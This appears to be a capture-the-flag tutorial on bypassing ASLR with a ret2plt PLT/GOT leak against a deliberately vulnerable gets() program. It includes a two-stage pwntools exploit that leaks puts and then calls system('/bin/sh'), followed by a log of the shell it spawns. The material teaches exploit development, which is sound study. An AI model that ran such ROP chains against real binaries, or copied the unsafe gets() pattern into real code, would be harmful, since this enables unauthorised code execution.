ret2plt: Advanced ASLR Bypass via PLT/GOT Leak
Challenge 9: Ret2PLT ASLR Bypass via PLT / GOT Leak (9_simple.c
)
Source Code:
#include <stdio.h>
#include <stdlib.h>
void vuln() {
char buffer[20];
gets(buffer); // <- Buffer overflow vulnerability
puts("Leaving!\n"); // <- Critical: provides output channel for our leak
}
int main() {
puts("Good luck with this challenge!");
vuln();
return 0;
}
// Compiled: gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/9_simple src/9_simple.c
This challenge demonstrates advanced ASLR bypass using PLT/GOT leaking without any direct information disclosure in the program. We must create our own leak by exploiting the dynamic linking mechanism.
Binary Setup
gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/9_simple src/9_simple.c
Security Mitigations:
Arch: amd64-64-little
RELRO: No RELRO <- GOT is writable
Stack: No canary found
NX: NX enabled <- Prevents shellcode execution
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
ASLR Status: Enabled (system default)
Big difference from challenge before:
No Direct Information Leak: Unlike Challenge 8's printf("System is at: %p\n", system)
The Challenge: ASLR with No Direct Leak
The Problem
# With ASLR enabled, libc addresses change every execution:
./bin/9_simple # libc base: 0x7f8a2c400000
./bin/9_simple # libc base: 0x7f3d1e200000 <- Different!
./bin/9_simple # libc base: 0x7f9b4f800000 <- Different!
Unlike Challenge before this one, no addresses are printed by the program. We must create our own leak.
PLT/GOT Leak Technique
The Global Offset Table (GOT) contains runtime addresses of dynamically linked functions, and the Procedure Linkage Table (PLT) can be used to print these addresses.
Method Overview (as detailed in https://ian.nl/blog/leak-libc-rop):
- Use PLT as a "print function": Call
puts@plt
to print data - Pass GOT entry as argument:
puts@got
contains the runtime address of puts - Parse leaked address: Extract the runtime address from output
- Calculate libc base: Subtract known offset to find libc base
- Build ret2libc attack: Use calculated addresses for second ROP chain
Understanding PLT/GOT Mechanism
What are PLT and GOT?
PLT (Procedure Linkage Table):
- Contains small code stubs for calling external functions
- Each external function has a PLT entry (e.g.,
puts@plt
) - Acts like a "trampoline" to the real function
GOT (Global Offset Table):
- Contains actual runtime addresses of external functions
- Each external function has a GOT entry (e.g.,
puts@got
) - Populated by dynamic linker at runtime
PLT/GOT Interaction Example
# puts@plt (before first call):
puts@plt:
jmp QWORD PTR [puts@got] # Jump to address in GOT
push 0x0 # Push relocation index
jmp PLT[0] # Jump to resolver
# After dynamic linking, puts@got contains actual libc address:
puts@got: 0x7f8a2c487be0 # Real puts() function address
The Leak Strategy
Step 1: Call puts@plt
with puts@got
as argument
# ROP chain:
pop_rdi_gadget # Load puts@got address into RDI
puts@got # Argument: address containing puts runtime address
puts@plt # Call puts() to print the content of puts@got
Result: puts() prints its own runtime address to stdout!
Address Discovery Process
Step 1: Find GOT/PLT Addresses in Binary
ian@vps:~/pwn/pwnpractice$ objdump -R bin/9_simple
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0000000000404020 R_X86_64_GLOB_DAT puts@GLIBC_2.2.5
puts@got address: 0x404020
(No RELRO = GOT is readable/writable)
ian@vps:~/pwn/pwnpractice$ objdump -d bin/9_simple | grep puts
0000000000401050 <puts@plt>:
puts@plt address: 0x401050
In our exploit we just make it dynamic by using the PWNtools built in functions
elf.got['puts'],
elf.plt['puts']
Python Exploit Breakdown
Stage 1: Leak libc Address
#!/usr/bin/env python3
from pwn import *
exe = "./bin/9_simple"
elf = context.binary = ELF(exe, checksec=True)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = start()
# ROP gadgets from binary
pop_rdi = 0x4011b5 # pop rdi; ret
ret = 0x40101a # ret (stack alignment)
# Stage 1: Leak puts address via PLT/GOT
payload = flat(
'A' * 40, # Padding to reach return address
ret, # Stack alignment (required for puts@plt)
pop_rdi, # ROP gadget: pop rdi; ret
elf.got['puts'], # Argument: address of puts@got (0x404020)
elf.plt['puts'], # Call puts@plt to print puts@got content
elf.symbols['vuln'] # Return to vuln() for second exploitation round
)
io.sendline(payload)
Stage 1 Execution Flow
Stack Layout After Overflow:
[Buffer: AAAA...AAAA] (40 bytes)
[ret gadget ] <- Return address (stack alignment)
[pop_rdi gadget ] <- Executed after ret
[puts@got address ] <- Will be popped into RDI (0x404020)
[puts@plt address ] <- Call puts() with RDI pointing to puts@got
[vuln() address ] <- Return here for second round
Execution Steps:
- Buffer overflow overwrites return address with
ret
gadget - ret gadget aligns stack and returns to
pop_rdi
- pop rdi; ret loads
puts@got
address (0x404020) into RDI and returns - puts@plt executes
puts()
with RDI pointing to puts@got - puts() reads 8 bytes from address 0x404020 and prints the runtime address
- Execution continues to
vuln()
for second exploitation stage
Stage 2: Parse Leak and Calculate libc Base
# Parse the leaked puts address
io.recvuntil(b'Leaving!\n\n') # Skip program output
leak = u64(io.recvline()[:-1].ljust(8, b'\x00')) # Parse leaked address
log.success("Leaked puts: %#x", leak)
# Calculate libc base address
libc.address = leak - libc.symbols['puts']
log.success("LIBC base: %#x", libc.address)
Address Calculation:
# Example leaked address: 0x7f8a2c487be0
# puts offset in libc: 0x87be0 (from readelf -s libc.so.6 | grep puts)
# libc_base = 0x7f8a2c487be0 - 0x87be0 = 0x7f8a2c400000
Stage 3: Build ret2libc Attack
# Stage 2: Use calculated addresses for ret2libc
payload = flat(
'A' * 40, # Padding to return address
pop_rdi, # ROP gadget: pop rdi; ret
next(libc.search(b'/bin/sh')), # Argument: "/bin/sh" string address
libc.sym['system'], # Call system()
0x0 # Return address for system()
)
io.sendline(payload)
io.interactive()
Complete ROP Chain Analysis
First ROP Chain (Leak Phase)
Purpose: Leak puts runtime address
Stack Layout:
[AAAA...(40)] [ret] [pop_rdi] [puts@got] [puts@plt] [vuln]
↓
Flow: ret → pop_rdi → puts@plt(puts@got) → vuln
Output: Leaked puts address printed to stdout
Second ROP Chain (Exploitation Phase)
Purpose: Execute system("/bin/sh")
Stack Layout:
[AAAA...(40)] [pop_rdi] ["/bin/sh"] [system] [0x0]
↓
Flow: pop_rdi → system("/bin/sh")
Output: Shell spawned
Successful Exploitation
ian@vps:~/pwn/pwnpractice$ python3 solves/9_simple.py
Good luck with this challenge!
[+] Leaked puts: 0x7add5de87be0
[+] LIBC base: 0x7add5de00000
$ whoami
ian
Alternative GOT Leak Methods
1. Format String Attack:
printf(user_input); // If user provides "%p %p %p", leaks stack addresses
2. Buffer Over-read:
char buf[20];
gets(buf);
printf(buf); // If buf extends past boundary, may leak adjacent data
3. Double-Free/UAF:
// Freed object may contain old GOT addresses
Advanced Considerations
RELRO Protection Impact
No RELRO (This Challenge):
# GOT is readable and writable
readelf -l bin/9_simple | grep GNU_RELRO
# (no output = no RELRO)
Partial RELRO:
# GOT is readable but not writable
# PLT/GOT leak still works, but can't overwrite GOT entries
Full RELRO:
# GOT is read-only after initialization
# PLT/GOT leak still works, but provides no advantage over other leaks
libc Version Compatibility
Same Issue as Challenge 8: Exploit depends on libc version having correct function offsets.
Solutions:
- libc Fingerprinting: Leak multiple functions to identify version
- Provided libc: CTF challenges often include exact libc file
- libc Database: Use tools like libc-database for version lookup
-- Try it yourself with my Github Repo - Exploit Development Step-by-Step There you are able to check the whole code and also the full exploit script.